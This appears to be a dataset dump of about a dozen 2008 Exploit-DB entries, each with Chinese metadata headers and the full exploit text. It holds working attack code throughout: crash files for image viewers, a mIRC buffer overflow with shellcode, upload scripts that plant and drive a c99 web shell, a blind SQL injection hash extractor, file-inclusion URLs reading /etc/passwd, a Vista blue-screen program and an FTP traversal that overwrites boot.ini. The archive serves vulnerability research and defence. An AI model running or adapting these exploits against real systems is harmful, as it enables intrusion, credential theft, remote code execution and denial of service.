QLWD/code_shield huggingface dataset:
标题: FastStone Image Viewer 3.6 - '.BMP' Image Crash EDB-ID: 6673 CVE: 2008-5870 类型: DOS 平台: WINDOWS 发布日期: 2008-10-05 漏洞利用脚本: Name      : FastStone Image Viewer v3.6 (malformed bmp image) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.FastStone.org
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, all from #dark-coders and others;]

PoC:

#!/usr/local/bin/perl   
# Open file (File->Open) or simply click on the image miniature
# FastStone Image Viewer v3.6 simply crashes
# Tested on Windows 2000 SP4
#-----INFO----------------------
#EAX 00002847
#ECX 00000000
#EDX 00402818 dumped_F.00402818
#EBX 00402818 dumped_F.00402818
#ESP 00402818 dumped_F.00402818
#EBP 0012DF08
#ESI 00402818 dumped_F.00402818
#EDI 000161E8
#EIP 012F0447
#
#Reason: "Access violation when writing to [00002847]
#-----INFO----------------------

my $code="\x42\x4d\x3c\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x28\x00".
         "\x00\x00\xcc\x5f\x01\x00\xe8\x61\x01\x00\x01\x00\x18\x00\x00\x00".
         "\x00\x00\x06\x00\x00\x00\x98\x9e\x00\x00\x88\x77\x00\x00\xff\x02".
         "\xfd\x00\x00\x00\x00\x00\x41";
my $file="open_me.bmp";

open(my $FILE, ">>$file") or die "[!]Cannot open file";
print $FILE $code;
close($FILE);
print "$file has been generated\n"
print "Credit: suN8Hclf, www.dark-coders.pl"

# milw0rm.com [2008-10-05] URL: https://www.exploit-db.com/exploits/6673
标题: AyeView 2.20 - Invalid Bitmap Header Parsing Crash EDB-ID: 6672 CVE: 2008-5937 类型: DOS 平台: WINDOWS 发布日期: 2008-10-05 漏洞利用脚本: Name      : AyeView v2.20 (invalid bitmap header parsing) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.ayeview.com/downloads.htm
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, str0ke, all from #dark-coders and others;]

Short Desc:
AyeView v2.20 software does not properly parse values in bmp file header.
In fact it does it good but it does not check if these values are "reasonable".
Therefore we can create a special bitmap, that will slow down or even
suspend the entire system. I have written a PoC that enforce AyeView
to allocate large amounts of memory. Short history:

First start of exploit      ->  the system really slowed down
Second start(another values)->  I got a message that "the amount of virtual memory
                                is too low", explorer.exe crashed
Third start(another values) ->  AyeView crashed

PoC:
------------------------------exploit---------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

struct bmpfile_header{
    short bfType;
    int bfSize;
    int Res;
    int bfOffBits;
    int biSize;
    int biWidth;
    int biHeight;
    short biPlanes;
    short biBitCount;
    int biCompression;
    int biSizeImage;
    int biXPelsPerMeter;
    int biYPelsPerMeter;
    int biClrUsed;
    char biClrImportant;
    char biClrRotation;
    short biReserved;
}__attribute__((packed)); //shift to 54 bytes


#define WIDTH 3000       //play around with these values...
#define HEIGHT 60000
#define Y 44432
#define X 54444

int main(int argc, char *argv[])
{
 struct bmpfile_header *bmpheader;
 char *memory;
 FILE *f;
 
 memory=(char *)malloc(60);
 if(memory==NULL){
  perror("malloc");
  return -1;
 }
 memset(memory, 0, 60);
 bmpheader=(struct bmpfile_header *)memory;
 printf("[+]Building bitmap... :)\n");
 bmpheader->bfType=*(short *)"BM";
 bmpheader->bfSize=(int)60;
 bmpheader->Res=0;
 bmpheader->bfOffBits=54;
 bmpheader->biSize=40;
 bmpheader->biHeight=(int)HEIGHT;
 bmpheader->biWidth=(int)WIDTH;
 bmpheader->biPlanes=1;
 bmpheader->biBitCount=24;
 bmpheader->biCompression=0;
 bmpheader->biSizeImage=6;
 bmpheader->biXPelsPerMeter=(int)X;
 bmpheader->biYPelsPerMeter=(int)Y;
 bmpheader->biClrUsed=255*255*255;
 bmpheader->biClrImportant=0;
 bmpheader->biClrRotation=0;
 
 f=fopen("open_me.bmp", "wb");
     if(!f){
           perror("fopen");
           free(memory);
           exit(-1);
     }
     fwrite(memory, 1, 60, f);
     fclose(f); 
 printf("[+]open_me.bmp bitmap created :)\n");
 free(memory);
 return 0;
}
------------------------------exploit---------------------------

Stay secure...

# milw0rm.com [2008-10-05] URL: https://www.exploit-db.com/exploits/6672
标题: AyeView 2.20 - '.GIF' Image Local Crash EDB-ID: 6668 CVE: 2008-5884 类型: DOS 平台: WINDOWS 发布日期: 2008-10-04 漏洞利用脚本: Name      : AyeView v2.20 (malformed gif image) DoS Exploit
Credit    : suN8Hclf (DaRk-CodeRs Group), crimson.loyd@gmail.com
Download: : http://www.ayeview.com/downloads.htm
Greetz    : Luigi Auriemma, 0in, cOndemned, e.wiZz!, Gynvael Coldwind, 
            Katharsis, all from #dark-coders and others;]

PoC:



#!/usr/local/bin/perl   
# Open file (File->Open) or simply click on the image miniature
# AyeView freezes and after few seconds crashes...
# Tested on Windows XP SP2 & Windows 2000 SP4

my $code="\x47\x49\x46\x38\x39\x61\xff\xff\xff\xff\x0e".
         "\x00\x00\x2c\x00\x00\x00\x00\xff\xff\xff\xff\x00";
my $file="open_me.gif";

open(my $FILE, ">>$file") or die "[!]Cannot open file";
print $FILE $code;
close($FILE);
print "$file has been generated\n"
print "Credit: suN8Hclf, www.dark-coders.pl"

# milw0rm.com [2008-10-04] URL: https://www.exploit-db.com/exploits/6668
标题: mIRC 6.34 - Remote Buffer Overflow EDB-ID: 6666 CVE: 2008-4449 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-04 漏洞利用脚本: #!/usr/bin/perl
#
#
# mIRC 6.34 Remote Buffer Overflow Exploit
# Exploit by SkD (skdrat <at> hotmail <.> com)
# ----------------------------------------
# A day's work of debugging and looking at mIRC.
#
# Tested on Windows XP SP3 English and Windows Vista SP0.
#
# Credits to securfrog for publishing the PoC.
#
# Author has no responsibility over the damage you do with this!
#
# Note: You might change the addresses for Vista ;)
#
# ----------------------------------------



use IO::Socket;

if(!($ARGV[1]))
{
 print "\n[x] mIRC 6.34 Remote Buffer Overflow Exploit\n";
 print "[x] Exploit by SkD (skdrat@ hotmail.com)\n\n";
 print "[x] Use: mirc_exp.pl <port> <OS = 1 for XP Sp3 AND 2 for Vista SP0>\n[x] Example: mirc_exp.pl 6667 0\n\n";
 exit;
}


while(1)
{

my $sock=new IO::Socket::INET (
Listen    => 1,

LocalAddr => '127.0.0.1',

LocalPort => $ARGV[0],

Proto     => 'tcp');  

die unless $sock;

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com 
my $shellcode =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e".
"\x95\x97\xf1\x83\xeb\xfc\xe2\xf4\xe2\x7d\xd3\xf1\x1e\x95\x1c\xb4".
"\x22\x1e\xeb\xf4\x66\x94\x78\x7a\x51\x8d\x1c\xae\x3e\x94\x7c\xb8".
"\x95\xa1\x1c\xf0\xf0\xa4\x57\x68\xb2\x11\x57\x85\x19\x54\x5d\xfc".
"\x1f\x57\x7c\x05\x25\xc1\xb3\xf5\x6b\x70\x1c\xae\x3a\x94\x7c\x97".
"\x95\x99\xdc\x7a\x41\x89\x96\x1a\x95\x89\x1c\xf0\xf5\x1c\xcb\xd5".
"\x1a\x56\xa6\x31\x7a\x1e\xd7\xc1\x9b\x55\xef\xfd\x95\xd5\x9b\x7a".
"\x6e\x89\x3a\x7a\x76\x9d\x7c\xf8\x95\x15\x27\xf1\x1e\x95\x1c\x99".
"\x22\xca\xa6\x07\x7e\xc3\x1e\x09\x9d\x55\xec\xa1\x76\x65\x1d\xf5".
"\x41\xfd\x0f\x0f\x94\x9b\xc0\x0e\xf9\xf6\xf6\x9d\x7d\x95\x97\xf1";

print "[x] Listening on port ".$ARGV[0]."..\r\n";
$s=$sock->accept();
print "[x] Got a user!\r\n";
$overflow = "\x41" x 307;
$overflow2 = "B" x 12;
$eip_vista = "\x66\x1c\xc2\x76";    #Normaliz.DLL pop pop ret
$eip2_vista = "\xd3\xdb\x54\x77";   #MSFCT.DLL jmp esp
$eip_xpsp3 = "\xd1\xfb\x92\x77";    #SETUPAPI.DLL 0x7792FBD1 pop eax pop ret
$eip2_xpsp3 = "\xb7\x87\x9d\x77";   #SETUPAPI.DLL 0x779D87B7 jmp esp
$addr = "\xb5\xb5\xfd\x7f"; 
$nop_sled = "\x90" x 4;
$jmp = "\xEB\x03\xFF\xFF";

print "[x] Sending packets..\r\n";

print $s ":my_irc_server.com 001 wow :Welcome to the Internet Relay Network wow\r\n";
sleep(1);
if($ARGV[1] == "1"){
print $s ":".$overflow.$eip_xpsp3.$addr.$nop_sled.$eip2_xpsp3.$nop_sled.$overflow2.$jmp.$nop_sled.$shellcode.$nop_sled." PRIVMSG  wow : /FINGER wow.\r\n";
}else{
print $s ":".$overflow.$eip_vista.$addr.$nop_sled.$eip2_vista.$nop_sled.$overflow2.$jmp.$nop_sled.$shellcode.$nop_sled." PRIVMSG  wow : /FINGER wow.\r\n";
}
print "[x] Check it out!\r\n";
}

# milw0rm.com [2008-10-04] URL: https://www.exploit-db.com/exploits/6666
标题: Kwalbum 2.0.2 - Arbitrary File Upload EDB-ID: 6664 CVE: 2008-5677 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-03 漏洞利用脚本: ==========================================================
  Kwalbum <= 2.0.2 Arbitrary file upload Vulnerabilities
==========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 3 October 2008
SITE   : cwh.citec.us

##################################################################
APPLICATION : Kwalbum
VERSION     : <= 2.0.2
DOWNLOAD    : http://downloads.sourceforge.net/kwalbum/kwalbum-2.0.2.zip
##################################################################

-----------------
Description:
-----------------
After registeration, you may obtain view, upload or admin permission.
If you obtain an upload permission, you can upload php files which can access as a below example url.

-----------
Exploit:
-----------
[+] upload page: http://[target]/[path to kwalbum]/?p=UploadItems
[+] exploit file format: http://[target]/[path to kwalbum]/[path to store image]/[year]/[month]/shell.php
[+] exploit file example: http://[target]/[path to kwalbum]/items/08/10/shell.php


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-10-03] URL: https://www.exploit-db.com/exploits/6664
标题: FOSS Gallery Admin 1.0 - Arbitrary File Upload EDB-ID: 6670 CVE: 2008-4509 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-04 漏洞利用脚本: #!/usr/bin/perl

# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# FOSS Gallery Admin Version <= 1.0 / Remote Arbitrary Upload Vulnerability
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Program: FOSS Gallery Admin Version
# Version: <= 1.0
# File affected: processFiles.php
# Download: http://sourceforge.net/projects/fossgallery/
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
# Upload images is only allowed to the admin but the process to upload has
# 3 steps (with 3 pages). only the first page check the user permissions.
#
# STEPS:
# uploadForm1.php -> ask for the number of files you wish to upload
# uploadForm2.php -> ask for the files to upload
# processFiles.php -> process the file(s)
#
# Also image format is not validated and you can upload any file.
#
# You can POST directly in the 3th step (processFiles.php):
# - uploadNeed = 1 ... we only need to upload 1 file
# - uploadFile0 = shell.php ... the file to upload



use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Headers;

my ($host, $file) = @ARGV ;



unless($ARGV[1]){

 print "\nUsage: perl $0 <host> <file_to_upload>\n";

 print "\tex: perl $0 http://localhost shell.php\n\n";

 exit 1;

}


$host = 'http://'.$host if ($host !~ /^http:/);

$host .= "/" if ($host !~ /\/\$/);


my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");

$ua->timeout(10);

my $request = HTTP::Request->new();
my $response;
my $header;
my $url = $host."processFiles.php";

$response = $ua->request(POST $url, Content_Type => 'form-data',
     Content => [ uploadNeed => "1", uploadFile0 => [$file]]);

$content = $response->content;



if ($content =~ /uploaded sucessful/) { print "\nExploited sucessfully. File located in:\n".$host.$file."\n"; }
else { print "\nExploit failed\n"; }


exit;

# milw0rm.com [2008-10-04] URL: https://www.exploit-db.com/exploits/6670
标题: Microsoft Windows Vista - Access Violation from Limited Account (Blue Screen of Death) EDB-ID: 6671 CVE: 2008-4510 类型: DOS 平台: WINDOWS 发布日期: 2008-10-04 漏洞利用脚本: // //////////////////////////////////////////////////////////////
// Windows Vista BSoD (Access violation) from limited account. //
// Tested on Home Premium & Ultimate @ October 05 2008         //
/////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>

WCHAR szClass[] = L"BSODClass";

int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo);
typedef void (WINAPI* pFunc)(ULONG ulFirst, LPVOID lpHandler);
pFunc pRtlAddVectoredExceptionHandler;

typedef struct
{
    DWORD dwWriteViolation;
    LPVOID lpAddress;
} EXCEPTION_ACCESS_VIOLATION_PARAMS;

int main()
{
    WNDCLASSW wc;
    DWORD dwOldProt;

    printf("Windows Vista BSoD from usermode/limited account.\n"
           "Coded by. Defsanguje - October 05 2008\n");

    // Setup vectored exception handler. SEH would work also.
    pRtlAddVectoredExceptionHandler = (pFunc)GetProcAddress((HMODULE)GetModuleHandle("ntdll.dll"),
                                                            "RtlAddVectoredExceptionHandler");
    (*pRtlAddVectoredExceptionHandler)(TRUE, ExceptionHandler);

    // Dummy data
    wc.style         = 0;
    wc.lpfnWndProc   = NULL;
    wc.cbClsExtra    = 0;
    wc.cbWndExtra    = 0;
    wc.hInstance     = GetModuleHandle(NULL);
    wc.hIcon         = NULL;
    wc.hCursor       = LoadCursor(NULL, IDC_ARROW);
    wc.hbrBackground = GetStockObject(HOLLOW_BRUSH);
    wc.lpszMenuName  = NULL;
    wc.lpszClassName = szClass;

    VirtualProtect(szClass, 1, PAGE_NOACCESS, &dwOldProt);
    RegisterClassW(&wc);

    printf("You shouldn't see this");
    return 0;
}

int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo)
{
    static LPVOID lpLastAddress;
    static DWORD dwOldProt;
    EXCEPTION_ACCESS_VIOLATION_PARAMS* avParams;
    switch(lpExceptionInfo->ExceptionRecord->ExceptionCode)
    {
        case EXCEPTION_ACCESS_VIOLATION:
            avParams = (EXCEPTION_ACCESS_VIOLATION_PARAMS*)lpExceptionInfo->ExceptionRecord->ExceptionInformation;
            VirtualProtect(avParams->lpAddress, 1, PAGE_READWRITE, &dwOldProt);
            lpLastAddress = avParams->lpAddress;

            // Set trap flag
            lpExceptionInfo->ContextRecord->EFlags |= 0x100;
            break;
        case STATUS_SINGLE_STEP:
            VirtualProtect(lpLastAddress, 1, PAGE_NOACCESS, &dwOldProt);
            break;
        default:
            break;
    }
    return EXCEPTION_CONTINUE_EXECUTION;
;
}

// milw0rm.com [2008-10-04] URL: https://www.exploit-db.com/exploits/6671
标题: pPIM 1.01 - 'notes.php' Local File Inclusion EDB-ID: 6667 CVE: 2008-4528 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-04 漏洞利用脚本: # pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability
# url: http://www.phlatline.org/docs/files/ppim.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.


description of vulnerability:
-----------------------------------------------
the variable 'id' has been not defined in code 
and the variable 'id' is sent by the users.
-----------------------------------------------

vuln file: notes.php

vuln code:
x:  >...
107: if (isset($_GET["mode"]))

  {

    if ($_GET["mode"]=="edit")

  {

   if (isset($_GET['id']))

   {

     $notefile = $_GET['id'];

   if ($notefile == "new")

   {

    $title = "";

    $notes = "";

   }

   else

   {

    $temp = "notes/" . $notefile;

    require($temp);

123:   }
x:  <...
x: }}}

exploit: GET /notes.php?mode=edit&id=[file]
sample (xpl): http://www.localhost.com/notes.php?mode=edit&id=../../../../../../../../../../etc/passwd

live demo:
http://www.phlatline.org/docs/demos/ppim/notes.php?mode=edit&id=../notes.php

# milw0rm.com [2008-10-04] URL: https://www.exploit-db.com/exploits/6667
标题: FOSS Gallery Public 1.0 - Arbitrary File Upload EDB-ID: 6674 CVE: 2008-4509 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-05 漏洞利用脚本: # FOSS Gallery Public <= 1.0 Arbitrary Upload / Information c99 Expoit
# url: http://downloads.sourceforge.net/fossgallery/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# OUTPUT:
#
# Exploited sucessfully.
#
# [+] Info:
#    Linux h4x0rz 2.6.18-6-686 #1 SMP Mon Aug 18 08:42:39 UTC 2008 i686
#    uid=33(www-data) gid=33(www-data) groups=33(www-data)
#    Safe Mode: OFF (not secure)
#
# joss@h4x0rz:~/Desktop$


use LWP::UserAgent;
use HTTP::Request::Common;
use HTTP::Headers;
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

sub lw
{

my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
     $linux="0";
     }else{
      $linux="1";
     }
  if($linux){
system("clear");
}
else{
system("cls");
}
}

my ($host, $file) = @ARGV ;

if (!$ARGV[0]) {

&lw;
print "\n[x] FOSS Gallery Public <= 1.0 Arbitrary Upload / Information c99 Expoit\n";
print "[x] written by JosS - sys-project[at]hotmail.com\n";
print "[x] http://www.spanish-hackers.com/\n\n";
print "Usage: $0 [host] [file] \n";
print "if doesn't exist the file: file default is phpshell C99\n\n";
exit;
}
if (!$ARGV[1])
{
$file="c99.php";
}

&lw;

$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ /\/\$/);

my $ua = LWP::UserAgent->new();
$ua->timeout(12);
my $request = HTTP::Request->new();
my $response;
my $header;
my $url = $host."processFiles.php";

$response = $ua->request(POST $url, Content_Type => 'form-data',
     Content => [ uploadNeed => "1", uploadFile0 => [$file]]);
$content = $response->content;

if ($content =~ /uploaded sucessful/) { print "\nExploited sucessfully.\n"; }
else { print "\nExploit failed\n"; exit;}

my $c99="c99.php"; 
chomp ($c99);

if ($file =~ /c99.php/)
{

$comando="?act=cmd&d=/&cmd=/&cmd_txt=1&submit=Execute";

print "\n";


my $final = $host.$c99.$comando;

my $ua = LWP::UserAgent->new;

my $req = HTTP::Request->new(GET => $final);

$ua->timeout(10);

$doc = $ua->request($req)->as_string;



$kernel = $1 if ( $doc =~ m/-a:&nbsp; (.*?)\<\/b>/mosix);
$id = $1 if ( $doc =~ m/<b>uid (.*?)\<\/b>/mosix);

$safe = $1 if ( $doc =~ m/color=green> (.*?)\<\/font>/mosix);



print "[+] Info:\n";

print "    $kernel\n";
print "    uid$id\n";

print "    Safe Mode: $safe\n";

print "\n";



}

__EOF__

# milw0rm.com [2008-10-05] URL: https://www.exploit-db.com/exploits/6674
标题: CCMS 3.1 - 'skin' Local File Inclusion EDB-ID: 6663 CVE: 2008-4526 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-03 漏洞利用脚本: ############################################################################################
[+] CCMS 3.1 (skin) Multiple Local File Inclusion Vulnerabilities
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke
############################################################################################

[+] Download Script :

   http://rapidshare.com/files/94804716/CCMS_v3.1_by_Mikel_Dean.rar

[+] Local File Inclusion

--------------------------------------------------------------------------------------------

   PoC 1 :

      http://[target]/[path]/index.php?skin=[Local File]%00

   Example 1 :

      http://127.0.0.1/path/index.php?skin=../../../../autoexec.bat%00


--------------------------------------------------------------------------------------------

   PoC 2 :

      http://[target]/[path]/forums.php?skin=[Local File]%00

   Example 2 :

      http://127.0.0.1/path/forums.php?skin=../../../../autoexec.bat%00


--------------------------------------------------------------------------------------------

   PoC 3 :

      http://[target]/[path]/admin.php?skin=[Local File]%00

   Example 3 :

      http://127.0.0.1/path/admin.php?skin=../../../../autoexec.bat%00

--------------------------------------------------------------------------------------------

   PoC 4 :

      http://[target]/[path]/header.php?skin=[Local File]%00

   Example 4 :

      http://127.0.0.1/path/header.php?skin=../../../../autoexec.bat%00

--------------------------------------------------------------------------------------------

   PoC 5 :

      http://[target]/[path]/pages/story.php?skin=[Local File]%00

   Example 5 :

      http://127.0.0.1/path/pages/story.php?skin=../../../../../autoexec.bat%00

--------------------------------------------------------------------------------------------

   PoC 6 :

      http://[target]/[path]/pages/poll.php?skin=[Local File]%00

   Example 6 :

      http://127.0.0.1/path/pages/poll.php?skin=../../../../../autoexec.bat%00

--------------------------------------------------------------------------------------------

############################################################################################

# milw0rm.com [2008-10-03] URL: https://www.exploit-db.com/exploits/6663
标题: AdaptCMS Lite 1.3 - Blind SQL Injection EDB-ID: 6662 CVE: 2008-4524 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-03 漏洞利用脚本: #!/usr/bin/perl
# -----------------------------------------------------
# AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit
# Discovered By StAkeR - StAkeR[at]hotmail[dot]it
# Discovered On 03/10/2008
# -----------------------------------------------------
# Download http://www.insanevisions.com/page/downloads
# -----------------------------------------------------
use strict;
use LWP::UserAgent;

my ($hash,$send,$sub) = (undef,undef,1);
my ($host,$uid) = @ARGV;

usage() unless $host =~ /^http:\/\/(.+?)$/i and $uid =~ /^[0-9]$/;

sub send_request
{
  my $param = shift @_;
  my $http = new LWP::UserAgent;
  my $post = $http->post($host.'/includes/check_user.php',[ user_name => $param ]);
  
  if($post->is_success)
  {
    return 38 unless $post->content =~ /yes/i;
  }
}

my @chars = (48..57, 97..102); 

for(0..32)
{
  foreach my $set(@chars)
  {
    $send = "' or ascii(substring((select password".
            " from adaptcms_users where id=$uid),$sub,1))=$set#";

    if(send_request($send) > 1)
    {
      $hash .= chr($set);
      $sub++;
      last;
    }
  }
}

sub usage
{
  print "[?] AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit\n";
  print "[?] Usage: perl $0 http://[host] [user id]\n";
  exit;
}

if(defined $hash)
{
  print "[?] Hash: $hash\n";
  exit;
}
else
{
  print "[?] Exploit Failed!\n";
  exit;
}

# milw0rm.com [2008-10-03] URL: https://www.exploit-db.com/exploits/6662
标题: Serv-U FTP Server 7.3 - (Authenticated) Remote FTP File Replacement EDB-ID: 6661 CVE: 2008-4501 类型: REMOTE 平台: WINDOWS 发布日期: 2008-10-03 漏洞利用脚本: #Serv-U <= 7.2.0.1 / 7.3 ftp file replacement
#user must have upload permissions
#
#(x) dmnt 2008-10-01
220 Serv-U FTP Server v7.3 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
#boot.ini rewrited

# milw0rm.com [2008-10-03] URL: https://www.exploit-db.com/exploits/6661